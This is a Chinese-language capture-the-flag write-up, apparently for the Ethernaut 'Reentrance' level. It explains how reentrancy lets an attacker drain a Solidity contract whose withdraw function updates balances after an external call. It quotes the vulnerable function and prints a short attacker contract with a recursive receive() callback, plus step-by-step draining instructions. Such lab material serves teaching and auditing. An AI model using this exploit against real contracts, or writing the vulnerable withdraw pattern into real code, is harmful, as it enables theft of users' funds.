Reentrance
Reference
目标
- 实施重入攻击,转走合约全部Ether
分析
Reentrancy
重入攻击表示攻击合约可以递归的调用目标合约的函数
- 需要有一个外部的
call
,call
会新建一个新的虚拟机环境,重新读取的目标合约的状态数据 - 存在一些状态的更新,状态更新发生在外部
call
之后,导致每次call
的执行环境都会读取未发生更新的旧数据
receive()
receive()
函数作为接受Ether的被动执行函数,一旦有外部账户转账给合约地址,当前交易会call
转账合约的receive或fallback
函数call()
转账会将目前剩余的gas全部发送到新的执行环境,允许新执行环境中进行一些外部操作transfer()/send()
仅发送2300gas用于转账,新的执行环境没有对于gas执行额外操作
withdraw()
function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result, ) = msg.sender.call{value: _amount}("");
if (result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
- 退款函数中存在外部转账的
call()
方法 - 转账地址的余额变化发生在
call
之后 - 如果当前退款账户是合约地址的话,执行call退款会触发退款合约的
receive()
函数
攻击流程
- 准备一个退款合约,合约作为sender执行donate函数
function attack() public payable {
ret.donate{value: amount}(address(this));
ret.withdraw(amount);
}
- 准备receive()函数,内部回调攻击合约,实现重入攻击
receive() external payable {
if (address(ret).balance >= amount) {
ret.withdraw(amount);
}
}
实现步骤
- 部署攻击合约
AtReentrance
,部署目标合约Reentrance
- 往攻击合约
AtReentrance
,存入Ether - 调用攻击合约
AtReentrance
的attack()
函数进行存款,在目标合约Reentrance
中的balances
不为空 - 攻击合约存款后,立马进行退款。并且每次目标合约
Reentrance
的退款函数会涉及call
转账,因此触发攻击合约的receive()
函数 - 在
receive()
函数中,攻击合约AtReentrance
重新call
目标合约Reentrance
的退款函数withdraw()
- 在目标合约
Reentrance
中,由于余额更新在外部call
之后,因此所有新的虚拟机执行环境中仍然保留balance
余额 - 攻击合约持续多次退款,掏空目标合约余额